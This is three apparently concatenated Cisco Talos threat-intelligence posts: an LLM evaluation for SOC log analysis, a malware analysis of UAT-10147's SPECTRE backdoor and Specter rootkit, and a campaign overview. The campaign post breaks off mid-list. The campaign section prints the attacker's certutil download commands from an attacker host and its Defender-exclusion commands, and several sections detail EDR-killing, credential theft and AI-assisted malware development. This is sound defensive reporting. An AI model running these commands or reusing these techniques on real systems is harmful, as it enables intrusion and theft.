• Selecting a model for your security operations center (SOC) and digital forensics and incident response (DFIR) tasks is important, but selecting the best one is more involved than you might think. SOC tasks rely on a combination of model efficacy, analysis time, cost, and consistency of results. 
• Cisco Talos tested 66 model and reasoning combinations across offerings from both Anthropic and OpenAI on a log analysis task to see if we could identify a clear winner. Instead, we found a repeatable methodology that organizations can use in their own evaluations. 
• Reasoning effort was not a universal quality dial. More effort often cost more without improving the result. In some cases, more effort produced lower scores. 
• Consistency should be a major decision factor. A condition with a strong median can still produce an occasional weak run. 

Choosing the best model for any task involves a complex balancing act: compute/reasoning effort vs. effectiveness vs. time vs. cost vs... well, lots of other things.  If you are choosing a large language model (LLM) for a security operations center (SOC) or digital forensics and incident response (DFIR) workflow, “Which model scored highest?” is almost certainly not the right question. In fact, it could even have severe negative consequences. 

A more useful question might be: Which model and reasoning setting gives me enough investigative quality, at a cost, speed, consistency, and failure rate my workflow can tolerate?

The experiment 

Cisco Talos tested 66 model and reasoning combinations (the conditions) from Anthropic and OpenAI on a tool-assisted log-review task. Using only common Unix command-line tools, the reviewers had to decide whether a given dataset was real or synthetically generated. Each reviewer received an identical dataset. The dataset was synthetic, but the reviewers were told that it might be real. 

We chose this task because it required many of the same tools and analytic techniques used in typical incident triage and investigation, but unlike those scenarios, could easily create a single numeric score for comparison. The reviewers investigated the logs using their native agent harnesses (i.e., Anthropic models used Claude Code, OpenAI models used Codex), then assigned a synthetic-confidence score from 0 (real) to 100 (synthetic). Higher scores therefore approached the known answer more closely. 

Each experimental panel contained four independently prompted reviewer personas: 

• Threat Hunter 
• Detection Engineer 
• Network Forensics Analyst 
• Host/Endpoint Detection and Response (EDR) Analyst 

We ran five rounds per condition. A panel counted only when all four reviewers produced valid reports. We allowed a limited number of retries in the case of guardrail refusals or invalid output formats before discounting a panel. The panel score was the mean of the four persona scores, and the condition score was the median of all its complete panel scores.

What we measured 

In addition to the review score mentioned above, we computed the following for each panel: 

• Cost: Total API-equivalent cost of every attempt for a condition, including failed attempts and retries, divided by the number of complete, usable panels. We calculated cost using a public list-price rate card frozen before testing began, rather than actual incurred spend. Actual costs vary by payment method, subscription plan, credits, and negotiated contract terms, making them unsuitable for consistent cross-provider comparison. The published rates were current when the study began and may differ from today’s prices. 
• Time: The total wall time consumed across all five planned panels for a condition, also including failures and retries, divided by the number of complete, usable four-persona panels. Within each panel, the four persona evaluations ran concurrently. Any provider-directed waits and targeted retries were included in the panel’s elapsed time, and each panel was fully resolved before the next panel began. 
• Downside score consistency: Some tested conditions had a wide discrepancy when it came to their efficacy scores, while some clustered tightly together. In a SOC, unexpectedly good answers are unlikely to cause problems, but unexpectedly poor answers can lead to unwelcome false positive or (worse) false negative decisions. Our score consistency is defined as the median score for the panel minus the lowest score in that panel. Smaller numbers indicate higher consistency. 

The data behind the tests 

The corpus was generated with EvidenceForge, Talos' open-source synthetic telemetry generator. We froze EvidenceForge at version 1.12.0 and used the same six-hour enterprise scenario for every condition, so the model and reasoning settings changed while the evidence did not. 

The reviewer-visible corpus contained 80,054 simulated log records across 20 source formats, packaged as 88 files totaling 48.0MB (45.8MiB). It combined: 

1. Network telemetry from two Zeek sensors, including connection, DNS, HTTP, TLS, SMTP, file, certificate, OCSP, DHCP, and NTP logs 
2. Perimeter security telemetry from a Cisco ASA firewall and Snort IDS 
3. Endpoint telemetry, including Windows Security and Sysmon events, eCAR process, session, and flow records, Linux syslog, and shell history 
4. Application access logs from web and proxy services 
5. A small set of email artifacts 

Every reviewer received an identical copy of the data. Scenario definitions, generator information, ground truth, and other metadata generated by EvidenceForge were withheld from the model.

What we learned 

The most important thing Talos learned was that choosing your model is not as straightforward as we had hoped. The following chart lists the top 10 conditions by median score. If we were to take the top-scoring model, we could expect to wait more than half an hour for an answer and pay about $55USD for it. While that might be acceptable for certain tasks where the need for the best possible analysis overrides any other factors, we can easily see that the “best” model here might not be the appropriate choice for workflows that execute frequently.

Instead of ranking based on any single criteria, we needed a more robust, multi-variable system, so we chose to compute the Pareto frontier.  

Stop looking for a single winner 

A Pareto frontier highlights the best available tradeoffs when several measures matter, and no single measure determines the winner. A condition appears on the frontier when no other condition is at least as good across every measure and clearly better on at least one. For example, a lower-scoring condition may still belong on the frontier if it is meaningfully faster or less expensive. Conditions outside the frontier have another option that matches or improves all the measures being compared, making them less attractive under any combination of those priorities. 

Talos' frontier was calculated using the four primary measures discussed earlier: score, cost, time, and downside consistency. Although this produces a single frontier, a four-variable frontier is difficult to represent and interpret visually. The following graphs therefore show four two-variable views: score vs. cost, score vs. time, score vs. downside spread, and cost vs. time. 

The dark line in each graph marks the best observed tradeoffs for the two measures shown in that panel, while the numbered points identify conditions on the full four-measure frontier. A numbered point may fall away from a panel’s line because its frontier membership depends on one of the other measures not shown there. 

In the score graphs, conditions toward the upper left generally offer more attractive tradeoffs: higher scores with lower cost, time, or downside spread. In the cost-versus-time graph, the preferable direction is toward the lower left. The cost and time axes use logarithmic scales, so equal distances represent proportional rather than equal numerical changes. Together, these views help explain why each condition belongs to the frontier, but choosing among them still requires deciding which tradeoffs matter most for the intended use.

A reasonable way to use this information to select the optimum condition is to begin with the conditions on the Pareto frontier, discarding all the others. Next, set acceptable thresholds for each of the four variables: 

• The minimum score you're willing to accept 
• The maximum downside consistency you can live with 
• The highest per-task cost you're willing to pay 
• The maximum amount of time you're willing to wait for an analysis task to complete 

From the Pareto frontier conditions, eliminate any which fail to meet at least one of those requirements. 

You are likely to still be left with more than one frontier condition. Choosing between those is a matter of organizational priorities and preferences. In a SOC, if all the other requirements are met, choosing the remaining condition with the highest mean score is probably a good start. 

Other lessons learned 

While our main goal was to find an effective selection methodology, we learned some other interesting things as well. In fact, some of these were rather surprising.  

More reasoning did not reliably mean better analysis 

Cost generally rose with reasoning effort. Score did not. 

GPT-5.6 Sol mostly improved as effort increased but max scored 90.0 while the lesser xhigh level scored 92.75. Ultra then climbed to 96.25.

We saw a much more pronounced and surprising effect with GPT-5.6 Luna, where increasing the reasoning effort decreased scores at all levels.

In fact, GPT-5.6 seemed to have a generally odd relationship between reasoning and score. Terra was erratic.

Claude Opus 4.8 gained eight points from medium to high, then lost 9.5 points from high to xhigh.

These results show why it is important to benchmark every reasoning level you might deploy. You cannot assume that a model’s performance scales according to the reasoning level you use. More effort means more cost but doesn’t always mean better results.

The analyst role changed the result 

Talos’ results showed a measurable difference in score based on which persona was doing the evaluation. This was entirely expected (and why we chose four different personae in the first place) but it was nice to see this confirmed by data. 

The chart below shows every valid score produced under each of the four analyst roles across all conditions. Each dot is one evaluation. The box captures the middle half of the scores, and the line inside it marks the typical result.

The Threat Hunter role produced the highest median score at 43. Network Forensics and Host/EDR both had medians of 35, while Detection Engineer had the lowest at 31. When we compared roles within the same model, reasoning setting, and test round, the largest typical difference was between Threat Hunter and Detection Engineer; Threat Hunter scored five points higher. 

These are tendencies, not guarantees. The distributions overlap substantially, and each role sometimes produced both high and low scores. But the results do show that changing the role and its evidence priorities could meaningfully change the model’s conclusion. 

For SOC workloads, the prompt should be treated as part of the system. Do not assume that one generic “SOC analyst” prompt represents every defensive workflow. If your budget allows, you might get better results by having multiple personae evaluating data according to their individual “expertise.” But watch for disagreement between the personae. Large differences may require extra human review.

Higher reasoning effort sometimes reduced reliability 

Two failure types had the greatest effect on model selection: responses that violated the required output format and attempts blocked or declined by the model provider’s safety system. Although safeguards and model-authored refusals arise differently, both have the same immediate operational result: no usable analysis is delivered.

Almost every format violation came from Claude Sonnet 4.6. Low and medium completed without any, but 10 of 27 high attempts and 15 of 29 max attempts returned invalid output. Retries recovered some cells, but high produced only two of five complete panels, and max produced none. This was not a minor formatting inconvenience; it prevented both conditions from producing enough comparable results. It doesn’t matter how good the underlying analysis is if the model can’t provide answers in the expected format. 

Safeguard and refusal failures followed a similar pattern at higher reasoning settings. Claude Sonnet 5 had none at low or medium, followed by one at high, four at xhigh, and five at max.  

We intentionally excluded Anthropic’s Fable from our experiment matrix because our early testing generated far too many refusals to get comparable scores. Safeguards blocked 21 of 31 attempts, including all eight max attempts. Ten of its 20 scheduled persona cells remained unavailable, and no reasoning level produced a complete four-persona panel. It’s worth noting that the early tests were conducted with an account which was part of Anthropic’s Cyber Verification Program (CVP) which offers relaxed safeguards for recognized cybersecurity professionals. Even with relaxed guardrails, the high refusal rate rendered the model unusable for our tests. 

These failures are already reflected in the optimization results. Conditions that could not produce at least three complete panels were excluded, while the cost and time of failed attempts and retries were included in the reported operational measures. However, the failure rate itself was not an axis of the Pareto frontier. 

These results show that reasoning effort can affect more than answer quality, cost, and completion time. It can also affect whether a usable answer arrives at all.

What does this mean for your SOC? 

We began this work looking for the best model for a particular task. What we found instead was a set of tradeoffs. The highest-scoring condition was also slow and expensive, while several cheaper and faster conditions delivered lesser, but still useful, results. There was no single obvious winner: 

• Reasoning effort was not a dependable quality dial. Increasing it sometimes improved the result, sometimes made no meaningful difference, and sometimes made performance or reliability worse.  
• The analyst role also changed what the model concluded, confirming that the prompt is part of the system being evaluated. 
• Consistency and availability mattered alongside average quality. A model that occasionally produces an excellent answer may still be a poor operational choice if it also produces weak, malformed, or blocked responses too often. 

Rather than just using the results of our study verbatim, organizations should use it as a model for their own selection process. A focused set of representative cases and model/reasoning conditions, tested several times with the prompts and tools you intend to use in production, can reveal much more than a generic leaderboard. A spreadsheet that records quality, cost, time, consistency, and usable-answer rate is enough to expose many of the tradeoffs. 

The goal is not to build a perfect benchmark or discover a universally superior model. It is to replace assumptions with evidence before a system touches real investigations or starts incurring real costs. Begin with the workflows that matter most, measure what your SOC cares most about, and revisit the decision as the technology or cost changes. Model selection will still involve judgment, but it can be informed, explicit, and defensible judgment. 

• UAT-10147 is a highly capable Chinese-speaking intrusion actor operating a multi-platform post-exploitation ecosystem targeting IIS and Linux servers, combining search engine optimization (SEO) fraud monetization with advanced persistence and defense evasion techniques. 
• The newly identified SPECTRE implant represents a significant evolution in commodity intrusion tooling, integrating cross-platform command-and-control (C2) operations, process injection, credential theft, anti-analysis protections, and kernel-level endpoint detection and response (EDR) bypass functionality. 
• The actor demonstrates operational maturity through the combined use of custom malware, open-source offensive tooling, Bring Your Own Virtual Driver (BYOVD) based EDR neutralization, Linux kernel rootkits, and sophisticated in-memory web shell deployment techniques. 
• Cisco Talos’ analysis of recovered source code suggests portions of the Linux rootkit development may have incorporated AI-assisted code generation workflows, highlighting the growing role of generative AI in accelerating offensive malware development. 

In our previous blog, Cisco Talos documented how UAT-10147 operationalized AI-assisted exploitation workflows to compromise internet-facing IIS and Linux servers at scale. This blog discusses how UAT-10147 is employing a diverse arsenal of tools, including SEO fraud utilities, local privilege escalation tools, and both off-the-shelf and custom developed backdoors.

To thoroughly analyze their toolkit, the following section is divided into three parts, detailing the specific tools used and their respective capabilities. We also assess that UAT-10147 is gradually incorporating AI-assisted development into its operations, likely to support the creation and refinement of tools used across its campaigns. Specifically, both its custom-developed backdoor, SPECTRE, and custom-developed rootkit, Specter, exhibit indications of AI-assisted development.

Talos also observed several SEO fraud-related components used in this campaign that we assess with medium confidence to be associated with “x神” (“xshen”), who is mentioned in a previously released Talos post. This assessment is supported by multiple development artifacts embedded in the BadIIS malware and related tooling. 

The BadIIS samples used in this activity contain the following PDB paths:  

• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\x64\Release\demo.pdb 

We also identified that the BadIIS installer embeds a service installer containing an additional PDB string referencing “x神”: 

• C:\Users\Administrator\Desktop\x神的自安装服务\svchost\x64\Release\service.pdb  

Beyond these xshen-related development artifacts, other components in the campaign also contain references to “X.” The ASHX SEO engine configuration includes a string named “X-seo,” while the web shell uses an “X-ID” HTTP header to transmit a specific token. This header appears to support covert authentication by blending the web shell’s control traffic into otherwise routine HTTP communications. 

SPECTRE: A new cross-platform backdoor

SPECTRE is a cross-platform backdoor written in C.

Talos named this backdoor "SPECTRE" based on a debug log recovered from one of the observed samples. This log meticulously records each step of the malware's execution process and explicitly displays its name in the header. The contents of the observed log file are provided in Figure 4.

Windows version  

The Windows variant of SPECTRE distinguishes itself from the stock Havoc framework through custom post-exploitation and defense evasion capabilities compiled directly into the binary. Furthermore, the implant heavily prioritizes obfuscation and anti-analysis by utilizing a dual layered defense strategy. First, API resolution is executed entirely at runtime via PEB hash walking, using a DJB2 variant algorithm. Second, string encryption relies on a per-string xorshift32 pseudorandom number generator (PRNG) scheme. Sensitive literals are encrypted at compile time with unique 32-bit seeds, decrypted to thread local storage immediately before execution, and never stored in plaintext within the “.text” or “.rdata” sections. Consequently, static detection methods are largely ineffective against the implant's indicators.

SPECTRE has a feature to execute a weighted anti-analysis scoring routine that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration detection, and common sandbox host names and usernames. If the cumulative score reaches or exceeds 50 points, the process self-terminates.

A fallback C2 domain is hardcoded within the binary and can be recovered through string decryption. All C2 communications are transmitted via HTTP POST requests to the “/api/v1/register” and “/api/v1/output” endpoints. Additionally, Talos observed a specific version of the implant attempting to read its C2 configuration from an NTFS Alternate Data Stream (ADS) located at “C:\Windows\System32\drivers\etc\hosts:cache”. This strategy allows the threat actor to easily update the C2 configuration by modifying the ADS, thereby circumventing firewall blocklists without needing to recompile the binary.

Talos observed 45 commands in this SPECTRE backdoor. 24 appear as plaintext comparands, and 21 are encrypted with the xorshift PRNG and decrypted at each dispatch.

Table 1. Windows version command list.

During our research, Talos noticed the encrypted commands are specific features for this backdoor. The features can be divided into three categories: 1) process injection, 2) privilege escalation and credential theft, and 3) BYOVD EDR killer capabilities.

Process injection capabilities 

SPECTRE supports three distinct injection modalities, all managed through a unified handler. The first is standard process hollowing, which targets “svchost.exe” by default. The second is APC EarlyBird injection, which utilizes pre-allocated memory to deliver shellcode before the target thread can execute a single instruction. The third is an automated, on-startup self-hollowing technique targeting “RuntimeBroker.exe”; this executes directly from main() to conceal the implant and evade EDR visibility. 

Privilege escalation and credential theft capabilities 

The SPECTRE implements named pipe impersonation for privilege escalation. It creates a pipe named “\.\pipe\spectre_<tid>” and acquires a SYSTEM token via ImpersonateNamedPipeClient. With SYSTEM privileges, three registry hives HKLM\SAM\SAM, HKLM\SYSTEM, and HKLM\SECURITY are saved to “%TEMP%” via RegSaveKeyA for offline NT hash extraction using Impact “secretsdump.py”.

Beyond hive dumping, SPECTRE provides two additional credential theft functions: 

1. Vaultdump: Spawns cmdkey.exe /list with stdout capture to enumerate Windows Credential Manager entries without any LSASS access 
2. Chromedump: Copies Chrome and Edge login data and local state files to “%TEMP%” for offline DPAPI decryption via SharpChrome

BYOVD EDR killer 

SPECTRE downloads one of two well-known vulnerable driver from the C2 — either RTCore64.sys from MSI (associated with CVE-2019-16098) or DBUtil_2_3.sys from Dell (associated with CVE-2021-21551). It then decodes and writes the driver to disk under %TEMP%, installs it as a transient kernel service via the SCM, and opens an IOCTL handle to the device.

Leveraging arbitrary kernel read/write primitives exposed by these drivers, SPECTRE uses NtQuerySystemInformation to locate “ntoskrnl.exe” in the kernel address space. It then references a hardcoded, per-build offset table covering 13 Windows versions to calculate the exact kernel virtual addresses for PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine. By performing targeted kernel writes, the SPECTRE safely unlinks each registered EDR callback from its doubly-linked list. Consequently, kernel-callback-dependent security products are rendered completely blind to new process creations, thread creations, and image load events for the remainder of the session, successfully neutralizing EDR visibility on the target machine.

Linux version 

The SPECTRE Linux variant’s structure is the same as the Windows variant. It is a statically-linked ELF x86-64 binary targeting Linux systems. Upon execution, SPECTRE immediately invokes an eight-factor anti-sandbox scoring engine before establishing C2 connection. If the cumulative score reaches or exceeds the threshold of 50, the binary exits silently without generating any observable indicators.

Following successful anti-sandbox validation, SPECTRE beacons to its hardcoded C2 domain with a JSON payload, which is the same as the Windows version.

Rather than 45 commands in the Windows variant, the Linux version of SPECTRE only has 29 commands, none of which result in obfuscation or encryption.

Table 2. Linux version command list. 

The backdoor's command set encompasses comprehensive file system manipulation, system and process reconnaissance, agent management, and unrestricted shell execution. A particularly notable feature is the timestomp command, an anti-forensics mechanism that utilizes the utimensat() function and operator-provided timestamps to alter a file's modification, access, and change times. 

SPECTRE's most critical capability is its integrated kernel-level rootkit, called Specter. The rootkit is deployed as a loadable kernel module disguised as “acpi_pad.ko”, allowing it to mimic the legitimate ACPI processor power management module. To maintain persistence, it utilizes a fraudulent systemd unit file named “hardware-monitor.service” and bears the description "Hardware Performance Monitor." Crucially, this service is configured with “Before=sysinit.target”, ensuring the rootkit executes on every system boot prior to the initialization of any security tooling.

The user level communicates with the loaded kernel module through a signal-based IPC mechanism, issuing kill() syscalls targeting a magic PID value of 0x7A69 (decimal 31337, a well-known "elite" hacker cultural) with specific real-time signal numbers encoding the desired operation:  

• Signal 62 triggers process hiding by removing the target task_struct from the kernel PID list, rendering “/proc/<pid>” invisible. 
• Signal 36 hides the module itself from lsmod by unlinking THIS_MODULE from the kernel module linked list. 
• Signal 37 escalates the implant process to UID 0 by directly overwriting the process credential structure. 
• Signal 35 serves as a module load acknowledgement handshake.  

This architecture grants the threat actor persistent, kernel-level control of the compromised host that survives both reboots and most user-level security controls.

Specter Linux rootkit 

The SPECTRE backdoor loads the Linux Kernel rootkit, Specter, to prevent detection from security products. Based on the SPECTRE Linux version we observed, the compiled artifact is deployed disguised as “acpi_pad.ko”. Rather than patching the syscall table, the hook mechanism rootkit uses the Linux kernel's native “ftrace” instrumentation framework with “FTRACE_OPS_FL_IPMODIFY” to redirect execution at the function entry point of six syscall handlers: 

• hooked_tcp6_seq_show 
• hooked_tcp4_seq_show 
• hooked_tkill 
• hooked_tgkill 
• hooked_kill 
• hooked_getdents64 

Because “ftrace” is a legitimate kernel debugging interface, this approach produces minimal noise in kernel integrity checks.

Talos investigated the source code of the Specter rootkit and assesses with medium confidence that UAT-10147 leveraged a combination of AI-assisted development and human expertise in the creation of this rootkit, which is designed to be invoked directly by SPECTRE.

The first evidence is the documentation structure. The opening feature list at the top of the source code is a product spec, not a developer's note. A complete bulleted feature list with parenthetical technical elaborations on each point reads as a response to a prompt such as, "Write a rootkit with the following features." It is the AI narrating what it is about to produce.

The second piece of evidence is the rigid, uniform style of the decorative separators. The identical width and formatting applied consistently across all 10+ logical sections exhibit a machine-like uniformity that is a classic hallmark of AI-generated output. In addition, this text exhibits a pedagogical tone. An actual developer authoring a rootkit would not need to explain basic concepts to themselves, such as the function of taint flags or the mechanics of “cat /proc/sys/kernel/tainted”. The content is clearly structured as an educational explanation for a reader, rather than authentic, internal developer notes.

The last piece of evidence is that the inclusion of three distinct methods — explicitly labeled with inline comments such as “Method 1,” “Method 2, and “Method 3” — is a common artifact of AI generation. When prompted to be thorough, AI models tend to output all known approaches. In contrast, a human developer targeting a specific kernel would simply select and implement the single most effective method. This exhaustive, multi-method presentation is a classic example of an AI's completeness reflex.

SEO fraud utilities 

Regarding the SEO fraud utilities deployed in this attack, we observed two distinct types of malware. The first is the previously discussed BadIIS malware-as-a-service (MaaS) and the second is a C# ASHX SEO engine. While both tools share the same core capability of facilitating SEO fraud, their mechanisms for establishing persistence on the compromised server are fundamentally different.

ASHX SEO engine 

This SEO hijacking web handler silently takes over an IIS application's request pipeline via reflection. Functionally, it mirrors standard BadIIS malware, serving fabricated content to search crawlers to poison rankings while delivering a malicious JavaScript payload to targeted users. Furthermore, the threat actor explicitly named it “public class SeoEngineHandler,” clearly communicating the tool's intended purpose.

Talos also observed that SeoEngineHandler is specifically designed to target Vietnamese internet users. The handler's internal configuration contains several indicators that substantiate this geographic focus, such as the configured C2 domains utilizing the “vn[.]xyz” suffix, and the malware explicitly targets the crawler for “Cốc Cốc” (configured as coccoc), a prominent Vietnamese web browser and search engine.

MaaS BadIIS 

The BadIIS variant observed in this attack is deployed to the compromised server within a ZIP archive containing both 32-bit and 64-bit versions of the malware, alongside an installation batch script. One of the recovered archives contained a service installer previously documented by Talos. Notably, the core malware is the specific variant detailed in that same Talos research, characterized by the “demo.pdb” string and confirmed to operate under a MaaS model.

"Potato" family 

Talos observed the threat actor utilizing multiple “Potato” family tools to achieve system level privileges. While some of these tools, such as GodPotato and JuicyPotato, were downloaded as pre compiled binaries from the internet, others, like EfsPotato and RustPotato, were compiled by the threat actor directly from source code. Notably, analysis of the custom compiled EfsPotato and RustPotato payloads revealed embedded PDB strings and local file paths, inadvertently exposing details about the threat actor's development environment. The environment suggests that they target IIS servers and compile these custom privilege escalation tools within a designated AI directory. The explicit use of an AI folder in their build path is a fascinating detail, strongly suggesting that the threat actor may be leveraging AI to assist in the development of these tools. 

• C:\Users\iis\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\widestring-1.2.1\src\ucstring.rs 
• C:\Users\iis\Desktop\AI\EfsPotatoCpp\x64\Release\EfsPotato.pdb 
• C:\Users\Intel\Desktop\AI\EfsPotatoCPP\x64\Debug\EfsPotato.pdb

Other backdoors for persistence 

UAT-10147 leveraged other multiple backdoors throughout this attack. Their arsenal includes well-known commodity and open-source tools such as Gh0stCringe, QuasarRAT, Meterpreter, Noodle RAT, and a web shell.  

Web shell 

Talos observed a web shell with a sophisticated two layer architecture. The outer handler functions as a self bootstrapping loader that leverages in-memory dynamic compilation to execute its payload. Upon receiving the initial HTTP request, the handler reverses an obfuscated string, decodes it via Base64, and dynamically compiles the resulting code in memory using “CodeDomProvider”. To optimize execution and ensure thread safety, it caches the compiled assembly in a static field (_a) using double-checked locking, ensuring the payload is compiled only once per IIS worker process lifetime. Finally, the loader instantiates and invokes SHandler.ProcessRequest to manage all subsequent incoming requests.

The embedded handler functions as a versatile web shell implant, relying on a numeric parameter to dispatch its various operational modes. To maintain stealth, the shell employs a strict, multi-tiered authentication mechanism. It first inspects the X-ID HTTP header for a specific token; if absent, it falls back to checking the v parameter. If neither contains the exact value of "x9", the handler immediately halts execution and returns a deceptive “404 Not Found” error. This evasion technique allows the shell's covert authentication process to blend seamlessly into routine HTTP traffic.

A detailed breakdown of the supported commands and their corresponding actions is outlined below.

Table 3. Web shell command list. 

Meterpreter 

Talos has observed UAT-10147 deploying reverse Meterpreter shells to maintain persistent access to compromised Linux hosts. The observed malware functions as a first stage shellcode dropper. Upon establishing a successful connection, this dropper retrieves a second stage payload designed to establish persistence and grant the threat actor full C2 over the victim's machine.

Noodle RAT 

UAT-10147 also deployed Noodle RAT against targeted Linux servers, utilizing it as a final stage backdoor to ensure persistent access. The specific payload observed in this campaign is the Type 0x03A2 ELF variant, which was previously documented in research published by Trend Micro.

QuasarRAT 

Talos also observed UAT-10147 attempting to deploy QuasarRAT on compromised IIS servers to establish long-term persistence. A notable characteristic of this specific payload is its configured Campaign ID, which contains a derogatory Chinese string (“越南老逼”) toward Vietnamese elderly people. This artifact provides potential insight into the threat actor's sentiment or specific geographic targeting.

Gh0stCringe 

In another observed instance, UAT-10147 deployed Gh0stCringe to establish persistence. To evade detection, the threat actor embedded the Gh0stCringe payload as shellcode within a custom Go-based loader. 

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Malware.Generic-10060235-0 
• Win.Malware.Generic-10060218-0 
• Win.Malware.Generic-9883082-0 
• Win.Malware.BadPotato-10060230-0 
• Win.Exploit.Marte-10033857-0 
• Unix.Rootkit.Malware-10060258-0 
• Win.Tool.GodPotato-10019688-1 
• Unix.Rootkit.Spectre-10060260-0 
• Unix.Trojan.Backdoor-6678692-0 
• Win.Malware.Generic-10060252-0 
• Win.Malware.Ulise-10056576-0 
• Win.Malware.Generic-10060220-0 
• Win.Malware.BadIIS-10059985-0 
• Win.Tool.juicypotato-10041758-0 
• Unix.Backdoor.Msfvenom-10012672-0 
• Win.Loader. BadiisSet-10060291-1 
• Asp.Rootkit.Badiis-10060290-1 

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66690, 1:66688, 1:66689  
• Snort3: 1:66690, 1:301548 

Indicators of compromise (IOCs)  

The IOCs can also be found in our GitHub repository here. 

• Cisco Talos identified UAT-10147 targeting Windows and Linux web servers globally, impacting organizations in government, education, media, technology, and gaming sectors. The actor leveraged publicly disclosed vulnerabilities to gain initial access at scale. 
• UAT-10147 integrated AI-driven tooling into exploitation, reconnaissance, payload generation, validation, and persistence workflows. Talos observed AI-generated operational playbooks, exploit automation scripts, and troubleshooting logic supporting real-world intrusions. 
• The actor employed a mixture of open-source offensive frameworks, including Metasploit, ysoserial, PentestGPT, DeepAudit, and multiple privilege escalation exploits to automate intrusion operations and establish persistence. 
• Talos assesses that integrating AI-generated exploitation guidance, automation, and validation workflows enables threat actors to scale complex attacks more efficiently while reducing the expertise traditionally required for advanced post-compromise operations.

In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft.

This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics.

Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated:

• Iterative exploit refinement 
• Adaptive troubleshooting 
• Post-exploitation automation 
• Exploit validation workflows 
• Operational documentation generation

This indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration. 

Victimology 

UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming. 

From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000.

Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs. 

UAT-10147 OPSEC failure 

Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing.

Attack summary  

Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment.

Windows platform infection chain 

The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack. 

The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant.

The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named "Google Chrome Start" that run the malware with the highest privileges every time a user logs on.

To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities: 

1. The threat actor utilizes a privilege escalation tool to add standard IIS directories (“System32\inetsrv” and “SysWOW64\inetsrv”) to the Windows Defender exclusion list via PowerShell and Registry modifications. This defense evasion tactic effectively blinds the antivirus to the directories where the malicious IIS modules will be dropped.

prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv 
prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /t REG_DWORD /d 0 /f	 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /t REG_DWORD /d 0 /f

2. They use certutil to download the achieved BadIIS (“dll.zip”) and a third execution script (“user.bat”) from a remote server.

certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip	 
certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

3. The threat actor then conducts local reconnaissance by executing the IIS management tool appcmd to enumerate the server's website configurations, likely to identify injection targets for the BadIIS module.

prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml

4. Finally, the attacker executes user.bat with elevated privileges to create a rogue local user account adding it to both the local Administrators and Remote Desktop Users groups to guarantee persistent, highly privileged Remote Desktop Protocol access to the compromised machine.

Linux platform infection chain

The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.  

1. CVE-2022-0995 targets a flaw in the Linux kernel's watch_queue event notification mechanism, allowing an unprivileged user to write arbitrary data out-of-bounds and achieve privilege escalation.  
